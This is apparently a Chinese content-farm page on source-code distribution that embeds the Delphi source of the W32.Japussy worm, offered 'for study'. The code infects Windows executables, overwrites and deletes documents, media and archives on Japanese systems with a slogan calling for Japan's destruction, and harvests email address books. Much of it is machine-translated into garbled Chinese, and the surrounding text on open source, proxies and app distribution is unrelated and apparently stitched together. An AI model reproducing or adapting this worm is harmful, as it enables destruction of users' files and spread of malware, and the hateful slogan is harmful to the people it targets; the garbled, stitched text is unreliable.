可按Ctrl+D收藏 蚂蚁资源网

蚂蚁资源网

分发源码(下载页源码个人分发)

  • 时间:2021-02-12 00:30 编辑:冯梅梅 来源:蚂蚁资源 阅读:159
  • 扫一扫,手机访问
摘要:大家好,今天给大家介绍关于分发源码(下载页源码个人分发)的相关内容,详细讲解既可以免费使用、复制,也可以自由修改并分发其源代码的软件是 什么,文件自我复制并分发的源码谁有发个研究,常听说开放“源代码”,“源代码”是什么,怎样开放求答案等,希望可以帮助到您。
既可以免费使用、复制,也可以自由修改并分发其源代码的软件是 什么,免费软件提示(您认为):如果有“免费修改”是“首先在使用后付款”是简单的免费使用(和代码无关),删除后没有垃圾是
文件自我复制并分发的源码谁有发个研究,[注意]以下代码是一系列多人权力写入,只用于学习,记得在您无法阅读此代码之前编译执行,否则后果是您自己的风险! [声明]由于使用使用,它不对法律纠纷负责。计划japussy;使用Windows,Sysutils,Classes,Graphics,Shellapi {,Registry}; Const标题= 82432; //病毒体尺寸iconoffset = $ 12eB8; // PE文件主图标offset //在我的delphi5 sp1中编译大小,其他版本的delphi可能会有所不同//找到2800000020十六进制字符串,找到主图标的偏移{标题= 38912; // UPX压缩病毒尺寸iconoffset = $ 92BC; // UPX压缩PE文件主图标offset // UPX 1.24W使用率:UPX -9 - 8086 Japussy.exe} Iconsize = $ 2e8; // pe文件主图标大小--744字节icontail = iconoffset + iconize; // PE文件最终ID = $ 44444444; //感染标记//垃圾代码,为了写入唱片='如果赛跑需要杀死,它必须是大巴。' +'如果一个国家需要被摧毁,它必须是日本! '+'*** w32.japussy.worm.a ***'; {$ r * .res}函数注册器日本操作系统标签{判断为Win9x}函数是Win9x:Boolean; varlatform_win32_windows)然后// win9x结果:= true;结束; {流程复制}过程编译程序副本(src:tstream; sstartpos:整数; dst:tstream; dstartpos; dstartpos; count; count; count; count; count:integer; var scurpos,dcurpos:integer; begine; begin in; position; dcurpos; dst.position; dst.position; dst.position; src.seek(sstartpos,0); dst.seek(dstartpos,0); dst.copyfrom(src,count); src.seek(scurpos,0); dst.seek(dcurpos,0);结束{单独分隔主机来自受感染的PE文件的文件,用于使用}过程解级文件; var stream,dstream:tfilestream;开始尝试sstream:= tfilestream.create(rapstr(0),fmopenread或fmsharedenynone);尝试dstream:= tfilestream.create(文件名,fmcreate );尝试sstream.sebrek(标题,0); // *跳过dstream.copyfrom头部(SStream,Sstream.size - 标题);最后dstream。自由;结束;终于是stream.free;结束;除了结束;结束; {plip startupinfo结构}程序fillstartupinfo(var si:startupInfo;州:词); begin si.cb:= sizeof(si); si.lprevered:= nil; si.lpdesktop:= nil; si.lptitle:= nil; si.dwflags:= startf_useshowwindow; si.wshowwindow:=州; si.cbreeserved2:= 0; si.lpreServed2:= nil;结束; {发行带邮}程序sendmail; Begund; {感染PE文件} InfectOneFile(文件名:字符串); var hdrstream,srcstream:tfilestream; Icostream,DSTSTREAM:TMEMORYSTREAM; IID:龙眼; AICON:TICON;感染,ispe:布尔值;我:整数; buf:array [0..1] char;开始尝试//错误,正在使用文件,退出(如果compareText(filename,'japussy.exe')= 0那么然后没有退出;感染:=假; ISPE:= FALSE; srcstream:= tfilestream。创建(文件名,fmopenread);尝试i:= 0到$ 108 do //检查pe文件标题begin srcstream.sek(i,sofrombeginning); srcstream.read(buf,2);如果(buf [0] =#80)和(buf [1] =#69)那么// pe tagbegin ispe:= true; //是PE文件中断;结束;结束; srcstream.seek(-4,sofromend); //检查感染标记srcstream.read(IID,4); if(IID = id)或(srcstream .size < 10240) then //太小的文件不感染 Infected := True; finally SrcStream.Free; end; if Infected or (not IsPE) then //如果感染过了或不是PE文件则退出 Exit; IcoStream := TMemoryStream.Create; DstStream := TMemoryStream.Create; try aIcon := TIcon.Create; try //得到被感染文件的主图标(744字节),存入流 aIcon.ReleaseHandle; aIcon.Handle := ExtractIcon(HInstance, PChar(FileName), 0); aIcon.SaveToStream(IcoStream); finally aIcon.Free; end; SrcStream := TFileStream.Create(FileName, fmOpenRead); //头文件 HdrStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone); try //写入病毒体主图标之前的数据 CopyStream(HdrStream, 0, DstStream, 0, IconOffset); //写入目前程序的主图标 CopyStream(IcoStream, 22, DstStream, IconOffset, IconSize); //写入病毒体主图标到病毒体尾部之间的数据 CopyStream(HdrStream, IconTail, DstStream, IconTail, HeaderSize - IconTail); //写入宿主程序 CopyStream(SrcStream, 0, DstStream, HeaderSize, SrcStream.Size); //写入已感染的标记 DstStream.Seek(0, 2); iID := $44444444; DstStream.Write(iID, 4); finally HdrStream.Free; end; finally SrcStream.Free; IcoStream.Free; DstStream.SaveToFile(FileName); //替换宿主文件 DstStream.Free; end; except; end;end;{ 将目标文件写入垃圾码后删除 }procedure SmashFile(FileName: string);var FileHandle: Integer; i, Size, Mass, Max, Len: Integer;begin try SetFileAttributes(PChar(FileName), 0); //去掉只读属性 FileHandle := FileOpen(FileName, fmOpenWrite); //打开文件 try Size := GetFileSize(FileHandle, nil); //文件大小 i := 0; Randomize; Max := Random(15); //写入垃圾码的随机次数 if Max < 5 then Max := 5; Mass := Size div Max; //每个间隔块的大小 Len := Length(Catchword); while i < Max do begin FileSeek(FileHandle, i * Mass, 0); //定位 //写入垃圾码,将文件彻底破坏掉 FileWrite(FileHandle, Catchword, Len); Inc(i); end; finally FileClose(FileHandle); //关闭文件 end; DeleteFile(PChar(FileName)); //删除 except end;end;{ 获得可写的驱动器列表 }function GetDrives: string;var DiskType: Word; D: Char; Str: string; i: Integer;begin for i := 0 to 25 do //遍历26个字母 begin D := Chr(i + 65); Str := D + ':\'; DiskType := GetDriveType(PChar(Str)); //得到本地磁盘和网络盘 if (DiskType = DRIVE_FIXED) or (DiskType = DRIVE_REMOTE) then Result := Result + D; end;end;{ 遍历目录,感染和摧毁文件 }procedure LoopFiles(Path, Mask: string);var i, Count: Integer; Fn, Ext: string; SubDir: TStrings; SearchRec: TSearchRec; Msg: TMsg; function IsValidDir(SearchRec: TSearchRec): Integer; begin if (SearchRec.Attr <> 16)和(searchRec.name <>')和(searchRec.name <>'..')然后res:= 0 //不是目录if(searchrec.attr = 16)和(searchRec.name <>'。')和(searchRec.name <>''..')然后res:= 1 //不是根目录结果:= 2; //是根目录结束;开始if(findfirst(path + mask,faanyfile,searchRec)= 0)开始重复偷看(msg,0,0,0,pm_remove); //调整消息队列,avoid如果是isvaliddir(searchrec)= 0那么开始fn:= path + searchRec.name; ext:=大写(提取物ineext(fn));如果(ext ='.exe')或(ext ='.scr')然后开始感染术(Fn); //感染可执行的exor easor(ext ='.htm')或(ext ='.atml')或(ext ='.asp')然后开始//可以通过HTML和ASP文件界面感染,如果Ext,则可以使用HTML和ASP文件界面结束否则='.wab'然后// Outlook地址簿开始/ /获取Outlook就业终止='.adc'// foxmail地址自动完成文件开始//获取Foxmail邮件地址,如果Ext ='Ind'然后excl = foxmail地址簿文件开始//获取Foxmail电子邮件地址exhels从earsjap那么//是日语的操作系统,如果(ext ='.doc')或(ext ='.xls')或(ext ='。mp3'开始)或(ext ='.rm')或(ext ='.wma')或(ext ='.wma')或(ext ='.zip')或(ext ='.rar')或(ext ='.mpeg')或(ext ='.jpg')或(ext ='.gif')或(ext =')或(ext =')或swf')或(ext ='.pdf')或(ext ='.avi')smashfile(fn); //销毁文件结束;结束;结束; //睡眠200毫秒后感染或删除文件,避免CPU使用过高的睡眠(200);直到(findnext(searchrec)<> 0);结束; findclose(searchrec); subdir:= tstringList.Create; if(findfirst(path +'*。*',eastirectory,searchRec)= 0)然后开始重复ifAlValiddir(SearchRec)= 1然后subdir.add(searchRec.name);直到(findnext(searchrec)<> 0);结束; findclose searchrec); count:= subdir.count - 1;对于i:= 0来计算do loopfiles(path + subdir.strings [i] +'\',mask); freeandnil(subdir); {遍历磁盘上的所有文件}程序感染文件; var司机列表:串;我,len:整数;如果getacp = 932然后//,如果日本操作系统是jap:= true; //坚决做驱动程序:= getdrives; //获取可用的磁盘列表len:=长度(驱动程序);虽然真正的DO //无限循环开始i:= len downto 1 do //行驶每个磁盘驱动器loopfiles(驱动程序[i] +':\','*。*'); // 发送邮件; //发毒电子邮件睡眠(1000 * 60 * 5); //睡5分钟结束;结束; {主程序开始}从ISWin9x DAM //是Win9x注册器服务(GetCurrentProcessID,1)//寄存器寄存到服务进程eys // winnt begin //您可以对explorer进程界面结束进行远程线程映射; //如果是原始病毒主体,如果比较文本(摘录文件(rapmstr(paramstr(paramstr(0)),'japussy.exe')= 0那么感染文件//感染和电子邮件//寄存在主机程序中,开始工作开始tmpfile:= paramstr(0); //创建临时文件删除(tmpfile,长度(tmpfile) - 4,4); tmpfile:= tmpfile +#32 +'.exe'; //真实主机文件,更多空间摘录文件(TMPFile); //独立fillstartupinfo(si,sw_showdefault); CreateProcess(PCHAR(TMPFILE),PCHAR(TMPFILE),NIL,NIL,TRUE,0,NIL,'。',SI,PI); //创建Infectfiles; //感染和电子邮件结束;结束。
常听说开放“源代码”,“源代码”是什么,怎样开放求答案,Linux和Zope是典型的开发源代码产品,IBM和HP是典型的开源支持公司。开源软件是一个用于公共代码的软件代码,任何人都可以修改,使用,复制,分发软件的源代码。 Linux和Zope是最典型的开源软件。开源软件由许多商业公司开发,可以获得更好的质量保证。 Zope由数百家公司的数千个开发人员共同维护,他们在一起形成了Zope社区。同样的Plone也是这些商业公司的积极参与者之一,许多商业公司在共同的开发和维护中。 IBM和HP也是非常典型的开源软件公司。与传统的封闭源代码软件相比,开源软件带来以下值:没有版权问题:无需支付软件许可费,客户可以获得许可。这也极大地降低了解决方案的成本。安全性和稳定性:由于其开放性,开放的软件源代码可以由世界上许多同行审查,因此更有可能对Linux具有很强的安全性和稳定性:开源代码产品有更多的用户,所以她有更强大的用户活力。由于特定公司的关闭,开源软件不会结束。

责任编辑(冯梅梅

以上就是关于**分发源码,下载页源码个人分发**的全部内容,了解更多请关注蚂蚁资源网。
  • 全部评论(3)
  • 阿里
  • &quot;开放源码&quot;的适用范围是什么,开放源码软件主要被散布在全世界的编程者队伍所开发,但是同时一些大学,政府机构承包商,协会和商业公司也开发它。开放源码软件在历史上曾经与UNIX,Internet联系得非常紧密。在这些系统中许多不同的硬件需要支持,而且源码分发是实现交叉平台可移植性的唯一实际可行的办法。在DOS,Windows,Macintosh平台上仅仅有很少的用户有可用的编译器,开放源码软件更加不普遍。对开放源码开发模式的更详细的讨论请看Eric Raymond写的“The Cathedral and the Bazaar”。为什么open-source软件与软件市场有关系传统的商业软件有巨大的广告和商标预算,在这些背后给了它太多的关注,已经远远超出了它的重要性。传统的商业软件事实上只是所有软件的很小的一部分。Lion(狮子)是被各种组织开发,并且是为了它们自己内部的需要。内部开发源码,特别是被美国政府所命令的重要源码的共享是具有开发源码牌照的。这实际上是由于绝大多数软件专家不编写商业软件。要去定量的描述开放源码软件的整个影响和平均利益是困难的,但是很明显这两者都被公众广泛传播又低估其价值。现在,许多开放源码软件由商业开发支持。同时,开放源码经营模式的成功和开放源码开发的高生产效率及高质量都说服Netscape(公司名)在1998年年初决定要将它的浏览器开发在开放源码许可之下。现在有巨大的动力推动着开放源码的运动。看到如此多的传统商业开发者们为了与他同步不得不谋取发展是很有趣的。计算机工业早已看到了几个激动人心的发展和革新的浪潮,例如,二十世纪七十年代的第一台微机,以及八十年代中期到现在对日用微机的大量生产,还有同一时期Internet(互联网)的崛起。使用开放源码模式的商业软件可能是下一个重要的新潮流。怎样区别开放源码软件和免费软件历史上许多人开发过这样一种软件(也就是免费软件基础)简称为“free software”,而媒介一般称它为“freeware”。不幸的是这两种术语都被证明是不明确的且含糊的。对于大多数人来说“free”仅仅用于购买的费用。比这个初始花费更重要的是由于缺乏许可证限制而带来的费用。这些是几种有可能是免费的软件类型,但是明显不是open-source software,因为它们具有某些限制或是缺乏公开的源码:
  • 2021-02-12 00:30:34
  • 爱吃鱼的猫
  • 开放源码众所周知,所有的软件都用源码编写,并通过编译最终生成系统或应用。开放源码软件保证所有人可以得到这些代码。这意味着没有一个公司可以完全独占它。开放源码意味着自由选择的权力,而自由选择意味着激发更多创新的能量。我们深信开放源码在软件发展过程中是必然的。它把控制权交还给使用者和客户。您可以查看系统运作的所有源码,或进行修改,或从中汲取相关的知识。系统缺陷和漏洞可以更快地被发现并加以修正。并且,当客户不满意一个供应商的服务,他们可以选择更好的服务提供商来建设他们的信息基础设施。没有技术的壁垒,也没有市场的垄断。同时,我们深信开放源码有利于开发更高质量,更稳定可靠的软件系统。它可以几何级数地提升各个公司的开发能力。大家协同工作,最好的软件将获得认可和胜利。我们不再局限于一个公司的小范围开发,我们在基于互联网的世界范围的合作团体和社区内工作,并通过互联网即时地传递新的想法和代码,促进整个软件开发的进步和繁荣。因此,开放源码的模式可以帮助开发出更高质量,更安全,更易用的集成软件。它的确使软件开发的步伐迈得更加快速,并有效降低了成本。许多象红帽这样的公司致力于开放源码模式的软件开发,提供高价值、高性能、更好集成易用性和管理易用性的软件和产品。让我们的共同努力,共同推动开放源码的繁荣和进步。在非开源模式即拥有者模式下,开发人员为一家公司开发程序,源码隐藏在系统应用之后不为公众所知。用户不仅需要购买软件,并且在损坏修复时需要支付更多的费用。没有人知道软件的好坏。更加糟糕的是,我们使用非开源软件后便被束缚于其产品的结构、协议和文件格式等,并不得不继续购买或升级同一个产品。Bruce Perens 称之为 “上瘾”模式的软件采购。我们应该打破这种模式,打破任何一种像这样的为客户带来具有根本性缺陷产品的模式。开放源码并不意味着没有名称,也并不意味着这是一个慈善机构,更不仅仅是单一社团的努力。我们今天看到的是受市场推动的技术革新,而且将继续繁荣和发展下去。开放源码的概念并非是个新概念。几个世纪以来,各个大学和研究机构已经并正在共享他们的科学研究和工作。僧侣们抄写书籍,科学家们在期刊上发表他们的新发现,数学家的公式被分发,提高,再分发。试想如果过去的知识被深深隐藏,或者只能限制给愿意付钱的人使用,世界会是怎样一个场景。而现在仍然存在类似于非开放源码即拥有者模式的软件开发的模式。所以,同样地,为了共享知识,促进社会进步,开放的技术开发将更加繁荣,并为整个产业带来革新。代理服务器英文名叫Proxy Server。一般来讲,对于普通的网民它的作用有三个(撇开一些高深的用处不谈,因为未必会用到): 一是通过它,我们可以访问到一些平时不能去的网站。不信你可以马上打开你的浏览器和输入“www.geocities.com”这个网址。怎样?不用看着浏览器在这里空等了,并不是你的网络速度慢,也不是没有这个网站,而是你访问不到它(网络上还有很多这些类型的网站哦)。为什么访问不到?这个问题嘛......说法有很多种,大部分都说是国内的网络被限制了访问,所以某些网站是不能去的。至于如何可以访问到这些网站?看完本文你就知道了! 二是通过它来加快我们浏览某些网站的速度。有时候我们访问一些国外或者港台网站,速度慢得像蜗牛一样。但只要你正确的选用代理服务器,速度就可以得到提升,有时候这些速度的提升可是很明显的哦! 三是连接Internet与Intranet 充当firewall(防火墙):因为所有内部网的用户通过代理服务器访问外界时,只映射为一个IP地址,所以外界不能直接访问到内部网;同时可以设置IP地址过滤,限制内部网对外部的访问权限;另外,两个没有互联的内部网,也可以通过第三方的代理服务器进行互联来交换信息。 原理 为什么使用代理服务器可以使我们访问一些原本不能访问的网站呢?为什么使用它后浏览外国网站会比原来的快呢?形象的说:代理服务器是网络信息的中转站。在一般情况下,我们使用网络浏览器直接去连接其他Internet站点取得网络信息时,须送出Request信号来得到回答,然后对方再把信息以bit方式传送回来。 代理服务器是介于浏览器和Web服务器之间的一台服务器,有了它之后,浏览器不是直接到Web服务器去取回网页而是向代理服务器发出请求,Request信号会先送到代理服务器,由代理服务器来取回浏览器所需要的信息并传送给你的浏览器。而且,大部分代理服务器都具有缓冲的功能,就好象一个大的Cache,它有很大的存储空间,它不断将新取得数据储存到它本机的存储器上,如果浏览器所请求的数据在它本机的存储器上已经存在而且是最新的,那么它就不重新从Web服务器取数据,而直接将存储器上的数据传送给用户的浏览器,这样就能显著提高浏览速度和效率(速度会随着代理服务器地理位置的不同以及网络传输情况而改变),而且国外的网络大部分都是没有限制访问网站或者所限制的不同,所以我们有很大的机会通过代理服务器去访问那些原本不能够去的网站。
  • 2021-02-12 00:30:34
  • 893811145
  • 应用分发平台简而言之就是不需要将软件上传到各大应用市场,无需上架,免越狱安装,只需要一个二维码即可下载,不限制iOS设备,方便快捷。很多商户或者APP开发公司在软件上架前期都会进行测试,这时候上传到各大应用市场费时费力,光申请注册就需要最少10工作日。应用分发平台就可以简单的解决这类问题。只需要将代码在应用分发平台的后台上传即可自动生成二维码供用户下载浏览。云方式网络科技有限公司目前拥有完善的应用分发平台系统可以为商家提供一套完善流畅的开发解决方案。该应用可以为开发者提供快捷、简单的应用内测分发平台,帮助开发者以最轻松、高效的方式将应用分发给测试用户包含安卓端、MAC客户端、Windows客户端、微信小程序。添加实名认证快速审核机制。提供准确、实时、完整的程序错误、资源加载、网络请求信息及网站性能监测报告,帮助开发者快速追踪网站故障,及时修复问题,维护网站质量,指导改善用户体验。
  • 2021-02-24 14:45:01
最新发布的资讯信息
【简历/资料|内地女明星】 殷茹基本资料( YR个人简历介绍)(2020-12-06 15:19)
【简历/资料|内地女明星】 曹菁基本资料( CJ个人简历介绍)(2020-12-06 15:18)
【简历/资料|内地女明星】 王安妮基本资料( WAN个人简历介绍)(2020-12-06 15:18)
【简历/资料|内地女明星】 白琼基本资料( BQ个人简历介绍)(2020-12-06 15:17)
【简历/资料|内地女明星】 王世霞基本资料( WSX个人简历介绍)(2020-12-06 15:17)
【简历/资料|内地女明星】 宋煜基本资料( SY个人简历介绍)(2020-12-06 15:16)
【简历/资料|内地女明星】 钱增基本资料( QZ个人简历介绍)(2020-12-06 15:16)
【简历/资料|内地女明星】 胡晓黎基本资料( HXL个人简历介绍)(2020-12-06 15:15)
【简历/资料|内地女明星】 李佳慧基本资料( LJH个人简历介绍)(2020-12-06 15:15)
【简历/资料|内地女明星】 张洛嘉基本资料( ZLJ个人简历介绍)(2020-12-06 15:14)
联系客服
网站客服 联系客服
手机版

扫一扫进手机版
返回顶部